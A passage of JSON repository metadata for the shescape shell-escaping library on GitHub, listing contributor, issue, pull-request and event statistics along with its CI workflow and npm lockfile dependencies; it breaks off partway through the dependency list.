Cornelissen","email":"ericornelissen@gmail.com","login":"ericcornelissen","count":134},{"name":"ec-automation-bot[bot]","email":"119456213+ec-automation-bot[bot]","login":"ec-automation-bot[bot]","count":62},{"name":"github-actions[bot]","email":"41898282+github-actions[bot]","login":"github-actions[bot]","count":1},{"name":"Pol Rivero","email":"65060696+pol-rivero","login":"pol-rivero","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-21T00:00:17.498Z","repositories_count":6769725,"commits_count":981497770,"contributors_count":41384830,"owners_count":1363070,"committers_count":3357829,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"ericcornelissen/shescape","html_url":"https://github.com/ericcornelissen/shescape","last_synced_at":"2026-08-24T18:06:33.320Z","status":null,"issues_count":66,"pull_requests_count":1899,"avg_time_to_close_issue":18239183.173913043,"avg_time_to_close_pull_request":185619.9132161089,"issues_closed_count":46,"pull_requests_closed_count":1763,"pull_request_authors_count":7,"issue_authors_count":4,"avg_comments_per_issue":1.3181818181818181,"avg_comments_per_pull_request":0.46866771985255395,"merged_pull_requests_count":1103,"bot_issues_count":8,"bot_pull_requests_count":1482,"past_year_issues_count":12,"past_year_pull_requests_count":201,"past_year_avg_time_to_close_issue":1101845.6,"past_year_avg_time_to_close_pull_request":116224.29444444444,"past_year_issues_closed_count":5,"past_year_pull_requests_closed_count":180,"past_year_pull_request_authors_count":3,"past_year_issue_authors_count":2,"past_year_avg_comments_per_issue":1.9166666666666667,"past_year_avg_comments_per_pull_request":0.7661691542288557,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":155,"past_year_merged_pull_requests_count":115,"created_at":"2023-05-20T21:17:29.939Z","updated_at":"2026-08-24T18:06:33.320Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/issues","issue_labels_count":{"table":{"breaking change":16,"enhancement":14,"dependencies":12,"meta":11,"ci/cd":6,"refactor":6,"pending":6,"documentation":5,"question":5,"test":4,"help wanted":4,"bug":3,"security":3,"fuzz":3,"good first issue":2,"performance":1,"invalid":1,"benchmark":1,"out of scope":1}},"pull_request_labels_count":{"table":{"dependencies":1598,"ci/cd":552,"meta":170,"test":87,"fuzz":41,"documentation":38,"security":36,"refactor":28,"enhancement":20,"bug":11,"reverted":9,"breaking change":8,"benchmark":7,"invalid":6,"pending":4,"performance":3,"out of scope":1}},"issue_author_associations_count":{"table":{"OWNER":55,"CONTRIBUTOR":8,"NONE":3}},"pull_request_author_associations_count":{"table":{"CONTRIBUTOR":1485,"OWNER":411,"NONE":3}},"issue_authors":{"table":{"ericcornelissen":55,"dependabot[bot]":8,"dotkas":2,"hamidb80":1}},"pull_request_authors":{"table":{"dependabot[bot]":1413,"ericcornelissen":411,"ec-automation-bot[bot]":69,"dotkas":2,"Tosin-JD":2,"nicojs":1,"samkcrespo":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-25T00:00:09.459Z","repositories_count":16359632,"issues_count":42513775,"pull_requests_count":136123996,"authors_count":11526337,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"meta":5,"pending":4,"security":3,"test":3,"documentation":2,"refactor":1,"fuzz":1,"bug":1,"ci/cd":1,"dependencies":1,"breaking change":1}},"past_year_pull_request_labels_count":{"table":{"dependencies":158,"ci/cd":25,"meta":16,"test":11,"refactor":5,"security":5,"bug":4,"documentation":4,"invalid":3,"pending":2,"fuzz":2,"breaking change":1}},"past_year_issue_author_associations_count":{"table":{"OWNER":11,"NONE":1}},"past_year_pull_request_author_associations_count":{"table":{"CONTRIBUTOR":153,"OWNER":46}},"past_year_issue_authors":{"table":{"ericcornelissen":11,"hamidb80":1}},"past_year_pull_request_authors":{"table":{"dependabot[bot]":123,"ericcornelissen":46,"ec-automation-bot[bot]":30}},"maintainers":[{"table":{"login":"ericcornelissen","count":466,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ericcornelissen"}}],"active_maintainers":[{"table":{"login":"ericcornelissen","count":57,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/ericcornelissen"}}]}},"events":{"total":{"CreateEvent":532,"DeleteEvent":503,"ForkEvent":2,"IssueCommentEvent":505,"IssuesEvent":35,"PullRequestEvent":912,"PullRequestReviewCommentEvent":146,"PullRequestReviewEvent":147,"PushEvent":728,"ReleaseEvent":6,"WatchEvent":4},"last_year":{"CreateEvent":227,"DeleteEvent":209,"IssueCommentEvent":257,"IssuesEvent":13,"PullRequestEvent":331,"PullRequestReviewCommentEvent":55,"PullRequestReviewEvent":48,"PushEvent":359,"ReleaseEvent":2,"WatchEvent":2}},"keywords":["command-line","escape-library","security","shell","shell-injection","shell-scripting"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/checks.yml","sha":null,"kind":"manifest","created_at":"2023-02-15T01:16:57.641Z","updated_at":"2023-02-15T01:16:57.641Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/checks.yml","dependencies":[{"id":7671535437,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"18bf8ad2ca49c14cbb28b91346d626ccfb00c518","direct":true,"kind":"composite","optional":false},{"id":7671535438,"package_name":"actions/checkout","ecosystem":"actions","requirements":"ac593985615ec2ede58e132d2e21d2b1cbd6127c","direct":true,"kind":"composite","optional":false},{"id":7671535439,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c","direct":true,"kind":"composite","optional":false},{"id":7671535440,"package_name":"actions/cache","ecosystem":"actions","requirements":"6998d139ddd3e68c71e9e398d8e40b71a2f39812","direct":true,"kind":"composite","optional":false},{"id":7671535441,"package_name":"benchmark-action/github-action-benchmark","ecosystem":"actions","requirements":"c3efd4d54319dbc90622069cc273cba59b46abbf","direct":true,"kind":"composite","optional":false},{"id":7671535442,"package_name":"github/codeql-action/init","ecosystem":"actions","requirements":"8775e868027fa230df8586bdf502bbd9b618a477","direct":true,"kind":"composite","optional":false},{"id":7671535443,"package_name":"github/codeql-action/analyze","ecosystem":"actions","requirements":"8775e868027fa230df8586bdf502bbd9b618a477","direct":true,"kind":"composite","optional":false},{"id":7671535444,"package_name":"asdf-vm/actions/install","ecosystem":"actions","requirements":"707e84f3ee349548310aeabdad0dd3bfcb9b69fa","direct":true,"kind":"composite","optional":false},{"id":7671535445,"package_name":"actions/download-artifact","ecosystem":"actions","requirements":"9bc31d5ccc31df68ecc42ccf4149144866c47d8a","direct":true,"kind":"composite","optional":false},{"id":7671535446,"package_name":"codecov/codecov-action","ecosystem":"actions","requirements":"d9f34f8cd5cb3b3eb79b3e4b5dae3a16df499a70","direct":true,"kind":"composite","optional":false},{"id":7671535447,"package_name":"dorny/paths-filter","ecosystem":"actions","requirements":"4512585405083f25c027a35db413c2b3b9006d50","direct":true,"kind":"composite","optional":false},{"id":7671535448,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"0b7f8abb1508181956e8e162db84b466c27e18ce","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/nightly.yml","sha":null,"kind":"manifest","created_at":"2023-02-15T01:16:57.729Z","updated_at":"2023-02-15T01:16:57.729Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/nightly.yml","dependencies":[{"id":7671535453,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"18bf8ad2ca49c14cbb28b91346d626ccfb00c518","direct":true,"kind":"composite","optional":false},{"id":7671535454,"package_name":"actions/checkout","ecosystem":"actions","requirements":"ac593985615ec2ede58e132d2e21d2b1cbd6127c","direct":true,"kind":"composite","optional":false},{"id":7671535455,"package_name":"asdf-vm/actions/install","ecosystem":"actions","requirements":"707e84f3ee349548310aeabdad0dd3bfcb9b69fa","direct":true,"kind":"composite","optional":false},{"id":7671535456,"package_name":"tibdex/github-app-token","ecosystem":"actions","requirements":"b62528385c34dbc9f38e5f4225ac829252d1ea92","direct":true,"kind":"composite","optional":false},{"id":7671535457,"package_name":"nick-fields/retry","ecosystem":"actions","requirements":"943e742917ac94714d2f408a0e8320f2d1fcafcd","direct":true,"kind":"composite","optional":false},{"id":7671535458,"package_name":"peter-evans/create-pull-request","ecosystem":"actions","requirements":"d7db273d6c7206ba99224e659c982ae34a1025e3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/publish.yml","sha":null,"kind":"manifest","created_at":"2023-02-15T01:16:57.747Z","updated_at":"2023-02-15T01:16:57.747Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/publish.yml","dependencies":[{"id":7671535459,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"18bf8ad2ca49c14cbb28b91346d626ccfb00c518","direct":true,"kind":"composite","optional":false},{"id":7671535460,"package_name":"actions/checkout","ecosystem":"actions","requirements":"ac593985615ec2ede58e132d2e21d2b1cbd6127c","direct":true,"kind":"composite","optional":false},{"id":7671535461,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c","direct":true,"kind":"composite","optional":false},{"id":7671535462,"package_name":"actions/github-script","ecosystem":"actions","requirements":"98814c53be79b1d30f795b907e553d8679345975","direct":true,"kind":"composite","optional":false},{"id":7671535463,"package_name":"ncipollo/release-action","ecosystem":"actions","requirements":"a2e71bdd4e7dab70ca26a852f29600c98b33153e","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/release.yml","sha":null,"kind":"manifest","created_at":"2023-02-15T01:16:57.764Z","updated_at":"2023-02-15T01:16:57.764Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/release.yml","dependencies":[{"id":7671535464,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"18bf8ad2ca49c14cbb28b91346d626ccfb00c518","direct":true,"kind":"composite","optional":false},{"id":7671535465,"package_name":"actions/checkout","ecosystem":"actions","requirements":"ac593985615ec2ede58e132d2e21d2b1cbd6127c","direct":true,"kind":"composite","optional":false},{"id":7671535466,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c","direct":true,"kind":"composite","optional":false},{"id":7671535467,"package_name":"tibdex/github-app-token","ecosystem":"actions","requirements":"b62528385c34dbc9f38e5f4225ac829252d1ea92","direct":true,"kind":"composite","optional":false},{"id":7671535468,"package_name":"peter-evans/create-pull-request","ecosystem":"actions","requirements":"d7db273d6c7206ba99224e659c982ae34a1025e3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"actions","filepath":".github/workflows/reusable-fuzz.yml","sha":null,"kind":"manifest","created_at":"2023-02-15T01:16:57.798Z","updated_at":"2023-02-15T01:16:57.798Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/.github/workflows/reusable-fuzz.yml","dependencies":[{"id":7671535473,"package_name":"step-security/harden-runner","ecosystem":"actions","requirements":"18bf8ad2ca49c14cbb28b91346d626ccfb00c518","direct":true,"kind":"composite","optional":false},{"id":7671535474,"package_name":"actions/checkout","ecosystem":"actions","requirements":"ac593985615ec2ede58e132d2e21d2b1cbd6127c","direct":true,"kind":"composite","optional":false},{"id":7671535475,"package_name":"actions/github-script","ecosystem":"actions","requirements":"98814c53be79b1d30f795b907e553d8679345975","direct":true,"kind":"composite","optional":false},{"id":7671535476,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"64ed1c7eab4cce3362f8c340dee64e5eaeef8f7c","direct":true,"kind":"composite","optional":false},{"id":7671535477,"package_name":"actions/cache","ecosystem":"actions","requirements":"6998d139ddd3e68c71e9e398d8e40b71a2f39812","direct":true,"kind":"composite","optional":false},{"id":7671535478,"package_name":"actions/upload-artifact","ecosystem":"actions","requirements":"0b7f8abb1508181956e8e162db84b466c27e18ce","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"npm","filepath":"package-lock.json","sha":null,"kind":"lockfile","created_at":"2023-02-15T01:16:57.822Z","updated_at":"2023-02-15T01:16:57.822Z","repository_link":"https://github.com/ericcornelissen/shescape/blob/main/package-lock.json","dependencies":[{"id":7671535479,"package_name":"@ampproject/remapping","ecosystem":"npm","requirements":"2.2.0","direct":false,"kind":"development","optional":false},{"id":7671535480,"package_name":"@babel/code-frame","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535481,"package_name":"@babel/compat-data","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535482,"package_name":"@babel/core","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535483,"package_name":"semver","ecosystem":"npm","requirements":"6.3.0","direct":false,"kind":"development","optional":false},{"id":7671535484,"package_name":"@babel/generator","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535485,"package_name":"@jridgewell/gen-mapping","ecosystem":"npm","requirements":"0.3.2","direct":false,"kind":"development","optional":false},{"id":7671535486,"package_name":"@babel/helper-annotate-as-pure","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535487,"package_name":"@babel/helper-compilation-targets","ecosystem":"npm","requirements":"7.20.0","direct":false,"kind":"development","optional":false},{"id":7671535488,"package_name":"@babel/helper-create-class-features-plugin","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535489,"package_name":"@babel/helper-environment-visitor","ecosystem":"npm","requirements":"7.18.9","direct":false,"kind":"development","optional":false},{"id":7671535490,"package_name":"@babel/helper-function-name","ecosystem":"npm","requirements":"7.19.0","direct":false,"kind":"development","optional":false},{"id":7671535491,"package_name":"@babel/helper-hoist-variables","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535492,"package_name":"@babel/helper-member-expression-to-functions","ecosystem":"npm","requirements":"7.18.9","direct":false,"kind":"development","optional":false},{"id":7671535493,"package_name":"@babel/helper-module-imports","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535494,"package_name":"@babel/helper-module-transforms","ecosystem":"npm","requirements":"7.20.2","direct":false,"kind":"development","optional":false},{"id":7671535495,"package_name":"@babel/helper-optimise-call-expression","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535496,"package_name":"@babel/helper-plugin-utils","ecosystem":"npm","requirements":"7.20.2","direct":false,"kind":"development","optional":false},{"id":7671535497,"package_name":"@babel/helper-replace-supers","ecosystem":"npm","requirements":"7.19.1","direct":false,"kind":"development","optional":false},{"id":7671535498,"package_name":"@babel/helper-simple-access","ecosystem":"npm","requirements":"7.20.2","direct":false,"kind":"development","optional":false},{"id":7671535499,"package_name":"@babel/helper-split-export-declaration","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535500,"package_name":"@babel/helper-string-parser","ecosystem":"npm","requirements":"7.19.4","direct":false,"kind":"development","optional":false},{"id":7671535501,"package_name":"@babel/helper-validator-identifier","ecosystem":"npm","requirements":"7.19.1","direct":false,"kind":"development","optional":false},{"id":7671535502,"package_name":"@babel/helper-validator-option","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535503,"package_name":"@babel/helpers","ecosystem":"npm","requirements":"7.20.6","direct":false,"kind":"development","optional":false},{"id":7671535504,"package_name":"@babel/highlight","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535505,"package_name":"ansi-styles","ecosystem":"npm","requirements":"3.2.1","direct":false,"kind":"development","optional":false},{"id":7671535506,"package_name":"chalk","ecosystem":"npm","requirements":"2.4.2","direct":false,"kind":"development","optional":false},{"id":7671535507,"package_name":"escape-string-regexp","ecosystem":"npm","requirements":"1.0.5","direct":false,"kind":"development","optional":false},{"id":7671535508,"package_name":"has-flag","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535509,"package_name":"supports-color","ecosystem":"npm","requirements":"5.5.0","direct":false,"kind":"development","optional":false},{"id":7671535510,"package_name":"@babel/parser","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535511,"package_name":"@babel/plugin-proposal-class-properties","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535512,"package_name":"@babel/plugin-proposal-decorators","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535513,"package_name":"@babel/plugin-proposal-private-methods","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535514,"package_name":"@babel/plugin-syntax-decorators","ecosystem":"npm","requirements":"7.19.0","direct":false,"kind":"development","optional":false},{"id":7671535515,"package_name":"@babel/plugin-syntax-typescript","ecosystem":"npm","requirements":"7.20.0","direct":false,"kind":"development","optional":false},{"id":7671535516,"package_name":"@babel/plugin-transform-typescript","ecosystem":"npm","requirements":"7.20.2","direct":false,"kind":"development","optional":false},{"id":7671535517,"package_name":"@babel/preset-typescript","ecosystem":"npm","requirements":"7.18.6","direct":false,"kind":"development","optional":false},{"id":7671535518,"package_name":"@babel/template","ecosystem":"npm","requirements":"7.18.10","direct":false,"kind":"development","optional":false},{"id":7671535519,"package_name":"@babel/traverse","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535520,"package_name":"@babel/types","ecosystem":"npm","requirements":"7.20.5","direct":false,"kind":"development","optional":false},{"id":7671535521,"package_name":"@bcoe/v8-coverage","ecosystem":"npm","requirements":"0.2.3","direct":false,"kind":"development","optional":false},{"id":7671535522,"package_name":"@blueoak/list","ecosystem":"npm","requirements":"9.0.0","direct":false,"kind":"development","optional":false},{"id":7671535523,"package_name":"@ericcornelissen/eslint-plugin-top","ecosystem":"npm","requirements":"0.3.0","direct":false,"kind":"development","optional":false},{"id":7671535524,"package_name":"@es-joy/jsdoccomment","ecosystem":"npm","requirements":"0.36.1","direct":false,"kind":"development","optional":false},{"id":7671535525,"package_name":"@eslint/eslintrc","ecosystem":"npm","requirements":"1.4.1","direct":false,"kind":"development","optional":false},{"id":7671535526,"package_name":"ajv","ecosystem":"npm","requirements":"6.12.6","direct":false,"kind":"development","optional":false},{"id":7671535527,"package_name":"globals","ecosystem":"npm","requirements":"13.19.0","direct":false,"kind":"development","optional":false},{"id":7671535528,"package_name":"json-schema-traverse","ecosystem":"npm","requirements":"0.4.1","direct":false,"kind":"development","optional":false},{"id":7671535529,"package_name":"type-fest","ecosystem":"npm","requirements":"0.20.2","direct":false,"kind":"development","optional":false},{"id":7671535530,"package_name":"@fast-check/ava","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7671535531,"package_name":"@gar/promisify","ecosystem":"npm","requirements":"1.1.3","direct":false,"kind":"development","optional":false},{"id":7671535532,"package_name":"@humanwhocodes/config-array","ecosystem":"npm","requirements":"0.11.8","direct":false,"kind":"development","optional":false},{"id":7671535533,"package_name":"@humanwhocodes/module-importer","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535534,"package_name":"@humanwhocodes/object-schema","ecosystem":"npm","requirements":"1.2.1","direct":false,"kind":"development","optional":false},{"id":7671535535,"package_name":"@isaacs/string-locale-compare","ecosystem":"npm","requirements":"1.1.0","direct":false,"kind":"development","optional":false},{"id":7671535536,"package_name":"@istanbuljs/schema","ecosystem":"npm","requirements":"0.1.3","direct":false,"kind":"development","optional":false},{"id":7671535537,"package_name":"@jridgewell/gen-mapping","ecosystem":"npm","requirements":"0.1.1","direct":false,"kind":"development","optional":false},{"id":7671535538,"package_name":"@jridgewell/resolve-uri","ecosystem":"npm","requirements":"3.0.7","direct":false,"kind":"development","optional":false},{"id":7671535539,"package_name":"@jridgewell/set-array","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7671535540,"package_name":"@jridgewell/sourcemap-codec","ecosystem":"npm","requirements":"1.4.13","direct":false,"kind":"development","optional":false},{"id":7671535541,"package_name":"@jridgewell/trace-mapping","ecosystem":"npm","requirements":"0.3.13","direct":false,"kind":"development","optional":false},{"id":7671535542,"package_name":"@kwsites/file-exists","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671535543,"package_name":"@kwsites/promise-deferred","ecosystem":"npm","requirements":"1.1.1","direct":false,"kind":"development","optional":false},{"id":7671535544,"package_name":"@nodelib/fs.scandir","ecosystem":"npm","requirements":"2.1.5","direct":false,"kind":"development","optional":false},{"id":7671535545,"package_name":"@nodelib/fs.stat","ecosystem":"npm","requirements":"2.0.5","direct":false,"kind":"development","optional":false},{"id":7671535546,"package_name":"@nodelib/fs.walk","ecosystem":"npm","requirements":"1.2.8","direct":false,"kind":"development","optional":false},{"id":7671535547,"package_name":"@npmcli/arborist","ecosystem":"npm","requirements":"6.1.3","direct":false,"kind":"development","optional":false},{"id":7671535548,"package_name":"brace-expansion","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535549,"package_name":"hosted-git-info","ecosystem":"npm","requirements":"6.1.1","direct":false,"kind":"development","optional":false},{"id":7671535550,"package_name":"json-parse-even-better-errors","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535551,"package_name":"lru-cache","ecosystem":"npm","requirements":"7.14.1","direct":false,"kind":"development","optional":false},{"id":7671535552,"package_name":"minimatch","ecosystem":"npm","requirements":"5.1.0","direct":false,"kind":"development","optional":false},{"id":7671535553,"package_name":"@npmcli/fs","ecosystem":"npm","requirements":"3.1.0","direct":false,"kind":"development","optional":false},{"id":7671535554,"package_name":"@npmcli/git","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":7671535555,"package_name":"which","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535556,"package_name":"@npmcli/installed-package-contents","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535557,"package_name":"@npmcli/map-workspaces","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535558,"package_name":"glob","ecosystem":"npm","requirements":"8.0.3","direct":false,"kind":"development","optional":false},{"id":7671535559,"package_name":"@npmcli/metavuln-calculator","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535560,"package_name":"@npmcli/move-file","ecosystem":"npm","requirements":"2.0.1","direct":false,"kind":"development","optional":false},{"id":7671535561,"package_name":"@npmcli/name-from-folder","ecosystem":"npm","requirements":"1.0.1","direct":false,"kind":"development","optional":false},{"id":7671535562,"package_name":"@npmcli/node-gyp","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535563,"package_name":"@npmcli/package-json","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535564,"package_name":"@npmcli/promise-spawn","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7671535565,"package_name":"@npmcli/query","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535566,"package_name":"@npmcli/run-script","ecosystem":"npm","requirements":"6.0.0","direct":false,"kind":"development","optional":false},{"id":7671535567,"package_name":"@sinonjs/commons","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535568,"package_name":"@sinonjs/fake-timers","ecosystem":"npm","requirements":"10.0.2","direct":false,"kind":"development","optional":false},{"id":7671535569,"package_name":"@sinonjs/samsam","ecosystem":"npm","requirements":"7.0.1","direct":false,"kind":"development","optional":false},{"id":7671535570,"package_name":"@sinonjs/text-encoding","ecosystem":"npm","requirements":"0.7.2","direct":false,"kind":"development","optional":false},{"id":7671535571,"package_name":"@stryker-mutator/api","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"development","optional":false},{"id":7671535572,"package_name":"@stryker-mutator/core","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"development","optional":false},{"id":7671535573,"package_name":"emoji-regex","ecosystem":"npm","requirements":"10.2.1","direct":false,"kind":"development","optional":false},{"id":7671535574,"package_name":"@stryker-mutator/instrumenter","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"development","optional":false},{"id":7671535575,"package_name":"@stryker-mutator/util","ecosystem":"npm","requirements":"6.3.1","direct":false,"kind":"development","optional":false},{"id":7671535576,"package_name":"@tootallnate/once","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535577,"package_name":"@types/escodegen","ecosystem":"npm","requirements":"0.0.6","direct":false,"kind":"development","optional":false},{"id":7671535578,"package_name":"@types/esprima","ecosystem":"npm","requirements":"4.0.3","direct":false,"kind":"development","optional":false},{"id":7671535579,"package_name":"@types/estraverse","ecosystem":"npm","requirements":"0.0.6","direct":false,"kind":"development","optional":false},{"id":7671535580,"package_name":"@types/estree","ecosystem":"npm","requirements":"0.0.39","direct":false,"kind":"development","optional":false},{"id":7671535581,"package_name":"@types/istanbul-lib-coverage","ecosystem":"npm","requirements":"2.0.4","direct":false,"kind":"development","optional":false},{"id":7671535582,"package_name":"@types/minimatch","ecosystem":"npm","requirements":"3.0.5","direct":false,"kind":"development","optional":false},{"id":7671535583,"package_name":"@types/normalize-package-data","ecosystem":"npm","requirements":"2.4.1","direct":false,"kind":"development","optional":false},{"id":7671535584,"package_name":"@types/parse-json","ecosystem":"npm","requirements":"4.0.0","direct":false,"kind":"development","optional":false},{"id":7671535585,"package_name":"@typescript-eslint/parser","ecosystem":"npm","requirements":"5.27.1","direct":false,"kind":"development","optional":false},{"id":7671535586,"package_name":"@typescript-eslint/scope-manager","ecosystem":"npm","requirements":"5.27.1","direct":false,"kind":"development","optional":false},{"id":7671535587,"package_name":"@typescript-eslint/types","ecosystem":"npm","requirements":"5.27.1","direct":false,"kind":"development","optional":false},{"id":7671535588,"package_name":"@typescript-eslint/typescript-estree","ecosystem":"npm","requirements":"5.27.1","direct":false,"kind":"development","optional":false},{"id":7671535589,"package_name":"globby","ecosystem":"npm","requirements":"11.1.0","direct":false,"kind":"development","optional":false},{"id":7671535590,"package_name":"@typescript-eslint/visitor-keys","ecosystem":"npm","requirements":"5.27.1","direct":false,"kind":"development","optional":false},{"id":7671535591,"package_name":"@ungap/promise-all-settled","ecosystem":"npm","requirements":"1.1.2","direct":false,"kind":"development","optional":false},{"id":7671535592,"package_name":"@vue/compiler-core","ecosystem":"npm","requirements":"3.2.37","direct":false,"kind":"development","optional":false},{"id":7671535593,"package_name":"source-map","ecosystem":"npm","requirements":"0.6.1","direct":false,"kind":"development","optional":false},{"id":7671535594,"package_name":"@vue/compiler-dom","ecosystem":"npm","requirements":"3.2.37","direct":false,"kind":"development","optional":false},{"id":7671535595,"package_name":"@vue/compiler-sfc","ecosystem":"npm","requirements":"3.2.37","direct":false,"kind":"development","optional":false},{"id":7671535596,"package_name":"@vue/compiler-ssr","ecosystem":"npm","requirements":"3.2.37","direct":false,"kind":"development","optional":false},{"id":7671535597,"package_name":"@vue/reactivity-transform","ecosystem":"npm","requirements":"3.2.37","direct":false,"kind":"development","optional":false},{"id":7671535598,"package_name":"@vue/shared","ecosystem":"npm","requirements":"3.2.37","direct":false,"kind":"development","optional":false},{"id":7671535599,"package_name":"abbrev","ecosystem":"npm","requirements":"2.0.0","direct":false,"kind":"development","optional":false},{"id":7671535600,"package_name":"abort-controller","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535601,"package_name":"acorn","ecosystem":"npm","requirements":"8.8.1","direct":false,"kind":"development","optional":false},{"id":7671535602,"package_name":"acorn-jsx","ecosystem":"npm","requirements":"5.3.2","direct":false,"kind":"development","optional":false},{"id":7671535603,"package_name":"acorn-walk","ecosystem":"npm","requirements":"8.2.0","direct":false,"kind":"development","optional":false},{"id":7671535604,"package_name":"agent-base","ecosystem":"npm","requirements":"6.0.2","direct":false,"kind":"development","optional":false},{"id":7671535605,"package_name":"agentkeepalive","ecosystem":"npm","requirements":"4.2.1","direct":false,"kind":"development","optional":false},{"id":7671535606,"package_name":"aggregate-error","ecosystem":"npm","requirements":"4.0.1","direct":false,"kind":"development","optional":false},{"id":7671535607,"package_name":"ajv","ecosystem":"npm","requirements":"8.11.0","direct":false,"kind":"development","optional":false},{"id":7671535608,"package_name":"angular-html-parser","ecosystem":"npm","requirements":"3.0.0","direct":false,"kind":"development","optional":false},{"id":7671535609,"package_name":"ansi-colors","ecosystem":"npm","requirements":"4.1.1","direct":false,"kind":"development","optional":false},{"id":7671535610,"package_name":"ansi-escapes","ecosystem":"npm","requirements":"5.0.0","direct":false,"kind":"development","optional":false},{"id":7671535611,"package_name":"ansi-regex","ecosystem":"npm","requirements":"6.0.1","direct":false,"kind":"development","optional":false},{"id":7671535612,"package_name":"ansi-styles","ecosystem":"npm","requirements":"6.2.1","direct":false,"kind":"development","optional":false},{"id":7671535613,"package_name":"anymatch","ecosystem":"npm","requirements":"3.1.2","direct":false,"kind":"development","o